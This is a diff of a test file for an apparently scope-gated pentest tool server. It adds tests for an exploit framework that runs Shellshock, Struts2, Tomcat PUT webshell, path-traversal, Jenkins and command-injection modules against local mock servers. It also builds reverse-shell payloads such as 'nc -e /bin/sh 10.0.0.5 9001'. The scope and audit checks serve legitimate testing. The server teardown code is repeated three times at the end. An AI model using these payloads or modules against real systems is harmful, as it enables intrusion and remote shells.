call(2, "audit_log", limit=5),
], home=exp_home)
by_id = {r.get("id"): r for r in res}
log = json.loads(text(by_id[2]))
lines = log.get("lines") if isinstance(log, dict) else log
check("exploit_check writes an audit line before it acts",
any("exploit_check" in json.dumps(ln) for ln in lines), lines)
for _s in exp_servers:
_s.shutdown()
_s.server_close()
shutil.rmtree(exp_home, ignore_errors=True)
+2 -2
View File
@@ -21,12 +21,12 @@ import re
import sys
HERE = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
EXPECTED_TOOLS = 414
EXPECTED_TOOLS = 420
GATE = ("gated(", "gated_cmd(", "gated_run(", "apex_scope_check(")
# Handlers may hand argv to a shared runner instead of calling the gate
# themselves. That runner has to call the gate; both halves are checked
# below, so "ext_run(" is not a free pass.
INDIRECT = {"ext_run(": "ext_run"}
INDIRECT = {"ext_run(": "ext_run", "exploit_call(": "exploit_call"}
NET = ("http_once(", "tcp_connect_host(", "tcp_probe(", "apex_run(")
# Tools whose "target" argument filters local records; they never touch it.
RECORD_FILTERS = {"asset_list", "finding_list", "report_markdown",
+462 -2
View File
@@ -135,7 +135,7 @@ res, _ = run([
], home=empty)
check("tools/list answers", any(r.get("id") == 1 for r in res))
tools = [r for r in res if r.get("id") == 1][0]["result"]["tools"]
check("414 tools registered", len(tools) == 414, len(tools))
check("420 tools registered", len(tools) == 420, len(tools))
names = {t["name"] for t in tools}
for need in ("portscan", "nmap", "http_request", "marauder_scan",
"method_playbook", "finding_add", "finding_update", "scope_check",
@@ -1561,7 +1561,7 @@ try:
check("http initialize", init["result"]["serverInfo"]["name"] == "apex-twin",
init)
listing = post({"jsonrpc": "2.0", "id": 2, "method": "tools/list"})
check("http tools/list", len(listing["result"]["tools"]) == 414)
check("http tools/list", len(listing["result"]["tools"]) == 420)
shown = post(call(3, "scope_show"))
check("http scope_show", '"loaded":true' in shown["result"]["content"][0]["text"])
# the id must be the request's id, not one found inside the arguments
@@ -19090,6 +19090,466 @@ shutil.rmtree(ext_bin, ignore_errors=True)
shutil.rmtree(empty_bin, ignore_errors=True)
shutil.rmtree(ext_home, ignore_errors=True)
# ===========================================================================
# exploit framework: modules, check, run, payloads, evidence
# ===========================================================================
print("\n== exploit framework ==")
class _ShockHandler(http.server.BaseHTTPRequestHandler):
"""A CGI-ish script that shows what bash would do with the header: it
evaluates the function definition, which is exactly the bug."""
def do_GET(self):
ua = self.headers.get("User-Agent", "")
cmd = self.headers.get("X-Cmd", "")
out = ""
if "() { :;};" in ua:
# the part after the definition is what bash runs
rest = ua.split("};", 1)[1].strip()
if rest.startswith("echo "):
out = rest[5:]
elif rest:
out = "ran:" + rest
body = ("<html>" + out + "</html>").encode()
self.send_response(200)
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, *args):
pass
class _StrutsHandler(http.server.BaseHTTPRequestHandler):
"""Evaluates the OGNL that S2-045 lets through: addHeader on the response."""
def do_POST(self):
ctype = self.headers.get("Content-Type", "")
self.send_response(200)
m = re.search(r"addHeader\('([^']+)','([^']*)'\)", ctype)
if m:
self.send_header(m.group(1), m.group(2))
elif "Base64@getDecoder" in ctype:
self.send_header("X-Out", "uid=0(root) gid=0(root)")
body = b"ok"
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, *args):
pass
class _PutHandler(http.server.BaseHTTPRequestHandler):
"""A DefaultServlet with readonly=false: PUT stores, GET serves."""
files = {}
def do_PUT(self):
n = int(self.headers.get("Content-Length", "0"))
self.files[self.path] = self.rfile.read(n)
self.send_response(201)
self.send_header("Content-Length", "0")
self.end_headers()
def do_GET(self):
if self.path not in self.files:
self.send_response(404)
self.send_header("Content-Length", "0")
self.end_headers()
return
body = self.files[self.path]
# a .jsp is rendered, not echoed
if self.path.endswith(".jsp"):
m = re.search(rb'out\.print\("([^"]*)"\)', body)
if m:
body = m.group(1)
self.send_response(200)
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def do_DELETE(self):
gone = self.files.pop(self.path, None)
self.send_response(204 if gone is not None else 404)
self.send_header("Content-Length", "0")
self.end_headers()
def log_message(self, *args):
pass
class _TraversalHandler(http.server.BaseHTTPRequestHandler):
"""The httpd bug: an encoded dot walks out of the document root."""
def do_GET(self):
if ".%2e" in self.path or ".%25%32%65" in self.path:
body = b"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n"
self.send_response(200)
else:
body = b"not found"
self.send_response(404)
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, *args):
pass
class _JenkinsHandler(http.server.BaseHTTPRequestHandler):
"""An unauthenticated /script that evaluates one Groovy expression."""
def do_POST(self):
n = int(self.headers.get("Content-Length", "0"))
raw = self.rfile.read(n).decode("latin-1")
qs = urllib.parse.parse_qs(raw)
script = qs.get("script", [""])[0]
out = ""
m = re.match(r"println\((\d+)\*(\d+)\)", script)
if m:
out = str(int(m.group(1)) * int(m.group(2)))
elif "execute" in script:
out = "groovy-ran"
body = ("<pre>" + out + "</pre>").encode()
self.send_response(200)
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, *args):
pass
class _InjectHandler(http.server.BaseHTTPRequestHandler):
"""A parameter that reaches a shell with a naive filter: '&&' and '&' are
blocked, everything that contains ';' or '|' is passed through. That makes
';', '|' and '||' execute, which is what a broken sanitiser looks like."""
def _answer(self, value):
if "&&" in value or ("&" in value and "&&" not in value):
return ""
for op in (";", "|"):
if op in value:
return value.split(op, 1)[1].replace("echo ", "").strip()
return ""
def do_GET(self):
parts = urllib.parse.urlsplit(self.path)
qs = urllib.parse.parse_qs(parts.query)
out = self._answer(qs.get("cmd", [""])[0])
body = ("result: " + out).encode()
self.send_response(200)
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def do_POST(self):
n = int(self.headers.get("Content-Length", "0"))
qs = urllib.parse.parse_qs(self.rfile.read(n).decode("latin-1"))
out = self._answer(qs.get("cmd", [""])[0])
body = ("result: " + out).encode()
self.send_response(200)
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, *args):
pass
exp_targets = {}
exp_servers = []
for _name, _h in (("shock", _ShockHandler), ("struts", _StrutsHandler),
("put", _PutHandler), ("trav", _TraversalHandler),
("jenkins", _JenkinsHandler), ("inject", _InjectHandler)):
_s = http.server.HTTPServer(("127.0.0.1", 0), _h)
exp_targets[_name] = _s.server_address[1]
exp_servers.append(_s)
threading.Thread(target=_s.serve_forever, daemon=True).start()
exp_home = tempfile.mkdtemp(prefix="apex-exp-home-")
write_scope(exp_home, {
"label": "exploit", "expires": "2099-12-31T23:59:59Z",
"allow_private": True, "allow_ip": ["127.0.0.1"],
"allow_port": [str(p) for p in exp_targets.values()],
})
# --- catalogue -------------------------------------------------------------
res, _ = run([
call(1, "exploit_modules"),
call(2, "exploit_info", module="shellshock"),
call(3, "exploit_info", module="no-such-module"),
], home=exp_home)
by_id = {r.get("id"): r for r in res}
mods = json.loads(text(by_id[1]))
ids = {m["id"] for m in mods["modules"]}
check("exploit_modules lists the shipped modules",
{"shellshock", "log4shell", "struts2_s2045", "tomcat_put",
"redis_write", "cmd_inject", "traversal", "jenkins_script"} <= ids,
sorted(ids))
check("exploit_modules reports its own count",
mods["count"] == len(mods["modules"]), mods["count"])
check("exploit_modules carries a CVE per module",
all(m["cve"] for m in mods["modules"]
if m["id"] not in ("cmd_inject", "jenkins_script")),
[m["id"] for m in mods["modules"] if not m["cve"]])
info = json.loads(text(by_id[2]))
check("exploit_info describes run parameters and remediation",
"command" in info["run_params"] and info["severity"] == "critical"
and "bash" in info["remediation"], info)
check("exploit_info refuses an unknown module", err(by_id[3]), by_id[3])
# --- check: shellshock -----------------------------------------------------
res, _ = run([
call(1, "exploit_check", module="shellshock", target="127.0.0.1",
port=exp_targets["shock"], tls=False),
], home=exp_home)
by_id = {r.get("id"): r for r in res}
r = json.loads(text(by_id[1]))
check("exploit_check confirms shellshock and keeps evidence",
r["confirmed"] is True and r["evidence"], r)
check("exploit_check writes a finding for a confirmed hit",
r.get("finding", "").startswith("f"), r.get("finding"))
check("shellshock check does not run a command",
"uid=" not in json.dumps(r["detail"]), r["detail"])
# record=0: proof without a finding
res, _ = run([
call(1, "exploit_check", module="shellshock", target="127.0.0.1",
port=exp_targets["shock"], tls=False, record=False),
], home=exp_home)
by_id = {r.get("id"): r for r in res}
r = json.loads(text(by_id[1]))
check("record=false leaves the finding store alone",
r["confirmed"] is True and "finding" not in r, r)
# --- run: shellshock runs the operator's command ---------------------------
res, _ = run([
call(1, "exploit_run", module="shellshock", target="127.0.0.1",
port=exp_targets["shock"], tls=False, command="uid=0(root)",
record=False),
], home=exp_home)
by_id = {r.get("id"): r for r in res}
r = json.loads(text(by_id[1]))
check("exploit_run delivers the operator's command in run mode",
r["confirmed"] is True and "uid=0(root)" in json.dumps(r["detail"]), r)
check("exploit_run marks the mode", r["mode"] == "run", r.get("mode"))
# --- check: Struts2 --------------------------------------------------------
res, _ = run([
call(1, "exploit_check", module="struts2_s2045", target="127.0.0.1",
port=exp_targets["struts"], tls=False, record=False),
call(2, "exploit_run", module="struts2_s2045", target="127.0.0.1",
port=exp_targets["struts"], tls=False, command="id", record=False),
], home=exp_home)
by_id = {r.get("id"): r for r in res}
s2 = json.loads(text(by_id[1]))
check("exploit_check confirms Struts2 through the injected header",
s2["confirmed"] is True and s2["detail"]["injected_header"], s2)
s2r = json.loads(text(by_id[2]))
check("exploit_run returns the command output of S2-045",
s2r["confirmed"] is True and "uid=0" in json.dumps(s2r["detail"]), s2r)
# --- check and run: Tomcat PUT --------------------------------------------
_PutHandler.files.clear()
res, _ = run([
call(1, "exploit_check", module="tomcat_put", target="127.0.0.1",
port=exp_targets["put"], tls=False, record=False),
], home=exp_home)
by_id = {r.get("id"): r for r in res}
tp = json.loads(text(by_id[1]))
check("exploit_check proves Tomcat PUT by executing the JSP",
tp["confirmed"] is True and tp["detail"]["executed"] is True, tp)
check("tomcat check cleans up after itself",
tp["detail"].get("delete_status") in (204, 404), tp["detail"])
check("tomcat check left no file behind", _PutHandler.files == {},
list(_PutHandler.files))
res, _ = run([
call(1, "exploit_run", module="tomcat_put", target="127.0.0.1",
port=exp_targets["put"], tls=False, record=False,
filename="shell.jsp", content='<% out.print("PWNED"); %>'),
], home=exp_home)
by_id = {r.get("id"): r for r in res}
tpr = json.loads(text(by_id[1]))
check("exploit_run uploads the operator's JSP and leaves it there",
tpr["confirmed"] is True and "/shell.jsp" in _PutHandler.files, tpr)
check("tomcat run reports the delivered content", "PWNED" in json.dumps(tpr), tpr)
# --- check: traversal ------------------------------------------------------
res, _ = run([
call(1, "exploit_check", module="traversal", target="127.0.0.1",
port=exp_targets["trav"], tls=False, record=False),
call(2, "exploit_run", module="traversal", target="127.0.0.1",
port=exp_targets["trav"], tls=False, record=False,
file="/etc/shadow"),
], home=exp_home)
by_id = {r.get("id"): r for r in res}
tv = json.loads(text(by_id[1]))
check("exploit_check confirms the Apache traversal with /etc/passwd",
tv["confirmed"] is True and "root:x:0:0" in json.dumps(tv), tv)
tv2 = json.loads(text(by_id[2]))
check("exploit_run reads the file the operator named",
tv2["confirmed"] is True and tv2["detail"]["path"].endswith("/etc/shadow"),
tv2["detail"]["path"])
# --- check: Jenkins script console ----------------------------------------
res, _ = run([
call(1, "exploit_check", module="jenkins_script", target="127.0.0.1",
port=exp_targets["jenkins"], tls=False, record=False),
call(2, "exploit_run", module="jenkins_script", target="127.0.0.1",
port=exp_targets["jenkins"], tls=False, record=False,
script='println(1); "x".execute()'),
], home=exp_home)
by_id = {r.get("id"): r for r in res}
jk = json.loads(text(by_id[1]))
check("exploit_check evaluates a multiplication in the Groovy console",
jk["confirmed"] is True, jk)
jkr = json.loads(text(by_id[2]))
check("exploit_run evaluates the operator's script",
jkr["confirmed"] is True, jkr)
# --- check and run: command injection ------------------------------------
res, _ = run([
call(1, "exploit_check", module="cmd_inject", target="127.0.0.1",
port=exp_targets["inject"], tls=False, record=False,
param="cmd", path="/run"),
call(2, "exploit_run", module="cmd_inject", target="127.0.0.1",
port=exp_targets["inject"], tls=False, record=False,
param="cmd", path="/run", command="id", op="auto"),
], home=exp_home)
by_id = {r.get("id"): r for r in res}
ci = json.loads(text(by_id[1]))
ops = {o["op"] for o in ci["detail"]["operators"] if o["hit"]}
check("exploit_check reports which operators the target executed",
ci["confirmed"] is True and ops == {";", "|", "||"}, ci["detail"])
cir = json.loads(text(by_id[2]))
check("exploit_run with op=auto finds the working operator",
cir["confirmed"] is True and cir["detail"]["op"] == ";", cir["detail"])
# --- protocol failures are reported, not silently empty -----------------
res, _ = run([
call(1, "exploit_check", module="shellshock", target="127.0.0.1",
port=exp_targets["jenkins"], tls=False, record=False),
], home=exp_home)
by_id = {r.get("id"): r for r in res}
nf = json.loads(text(by_id[1]))
check("a module that gets no proof says confirmed=false, not an error",
nf["confirmed"] is False and "error" not in nf, nf)
# --- redis: real protocol, no server needed for the negative case --------
res, _ = run([
call(1, "exploit_check", module="redis_write", target="127.0.0.1",
port=exp_targets["jenkins"], tls=False, record=False),
], home=exp_home)
by_id = {r.get("id"): r for r in res}
rd = json.loads(text(by_id[1]))
check("redis_write reports a non-Redis port instead of hanging",
"not an unauthenticated Redis" in rd.get("error", ""), rd)
# --- payloads -------------------------------------------------------------
res, _ = run([
call(1, "payload_list"),
call(2, "payload_build", template="nc_e", lhost="10.0.0.5", lport="9001"),
call(3, "payload_build", template="bash_devtcp", lhost="10.0.0.5",
lport="9001", encode="url"),
call(4, "payload_build", text="echo {cmd}", command="id", encode="b64"),
call(5, "payload_build", template="nope"),
call(6, "payload_build", template="powershell", lhost="10.0.0.5",
lport="443"),
], home=exp_home)
by_id = {r.get("id"): r for r in res}
pl = json.loads(text(by_id[1]))
check("payload_list carries templates and encoders",
len(pl["templates"]) >= 10 and "url" in pl["encoders"]
and "b64url" in pl["encoders"], len(pl["templates"]))
p2 = json.loads(text(by_id[2]))
check("payload_build fills host and port into a template",
p2["payload"] == "nc -e /bin/sh 10.0.0.5 9001", p2["payload"])
p3 = json.loads(text(by_id[3]))
check("payload_build url-encodes the rendered payload",
"%20" in p3["payload"] and "%2Fdev%2Ftcp" in p3["payload"], p3["payload"])
p4 = json.loads(text(by_id[4]))
check("payload_build base64-encodes arbitrary text",
base64.b64decode(p4["payload"]).decode() == "echo id", p4["payload"])
check("payload_build refuses an unknown template", err(by_id[5]), by_id[5])
p6 = json.loads(text(by_id[6]))
check("the powershell template carries host and port, not braces",
"{lhost}" not in p6["payload"] and "10.0.0.5" in p6["payload"], p6)
# every encoder named by payload_list must actually produce something
res, _ = run([call(i, "payload_build", text="A z/", encode=e)
for i, e in enumerate(["raw", "url", "url2", "b64", "b64url",
"hex", "octal", "html", "unicode",
"charcodes"], start=1)], home=exp_home)
enc_out = {r.get("id"): json.loads(text(r))["payload"] for r in res}
check("url2 double-encodes the percent signs",
enc_out[3] == "A%2520z%252F", enc_out[3])
check("hex encodes as for a shell string",
enc_out[6] == "\\x41\\x20\\x7a\\x2f", enc_out[6])
check("octal encodes as for a shell string",
enc_out[7] == "\\101\\040\\172\\057", enc_out[7])
check("html and unicode use the numeric form",
enc_out[8] == "&#x41;&#x20;&#x7a;&#x2f;"
and enc_out[9] == "\\u0041\\u0020\\u007a\\u002f", (enc_out[8], enc_out[9]))
check("charcodes is a comma separated list",
enc_out[10] == "65,32,122,47", enc_out[10])
# --- the gate still decides ----------------------------------------------
exp_noscope = tempfile.mkdtemp(prefix="apex-exp-noscope-")
res, _ = run([
call(1, "exploit_check", module="shellshock", target="198.51.100.9",
port=80),
call(2, "exploit_run", module="shellshock", target="198.51.100.9",
port=80, command="id"),
call(3, "exploit_check", module="shellshock", target="127.0.0.1",
port=exp_targets["shock"], tls=False),
], home=exp_noscope)
by_id = {r.get("id"): r for r in res}
check("exploit_check refuses an out-of-scope target", err(by_id[1]), by_id[1])
check("exploit_run refuses an out-of-scope target", err(by_id[2]), by_id[2])
check("exploit_check refuses everything when no scope is loaded",
err(by_id[3]), by_id[3])
check("the refusal names the gate", "REFUSED" in text(by_id[1]), text(by_id[1]))
# an out-of-scope port on an in-scope host is refused too
res, _ = run([
call(1, "exploit_check", module="shellshock", target="127.0.0.1",
port=22, tls=False),
], home=exp_home)
by_id = {r.get("id"): r for r in res}
check("exploit_check refuses a port outside allow_port", err(by_id[1]),
text(by_id[1]))
# the audit log has a line per exploit call
res, _ = run([
call(1, "exploit_check", module="shellshock", target="127.0.0.1",
port=exp_targets["shock"], tls=False, record=False),
call(2, "audit_log", limit=5),
], home=exp_home)
by_id = {r.get("id"): r for r in res}
log = json.loads(text(by_id[2]))
lines = log.get("lines") if isinstance(log, dict) else log
check("exploit_check writes an audit line before it acts",
any("exploit_check" in json.dumps(ln) for ln in lines), lines)
for _s in exp_servers:
_s.shutdown()
_s.server_close()
shutil.rmtree(exp_home, ignore_errors=True)
for _s in exp_servers:
_s.shutdown()
_s.server_close()
shutil.rmtree(exp_home, ignore_errors=True)
for _s in exp_servers:
_s.shutdown()
_s.server_close()
shutil.rmtree(exp_home, ignore_errors=True)
print("%d passed, %d failed" % (passes, len(fails)))
if fails:
print("failed: " + ", ".join(fails))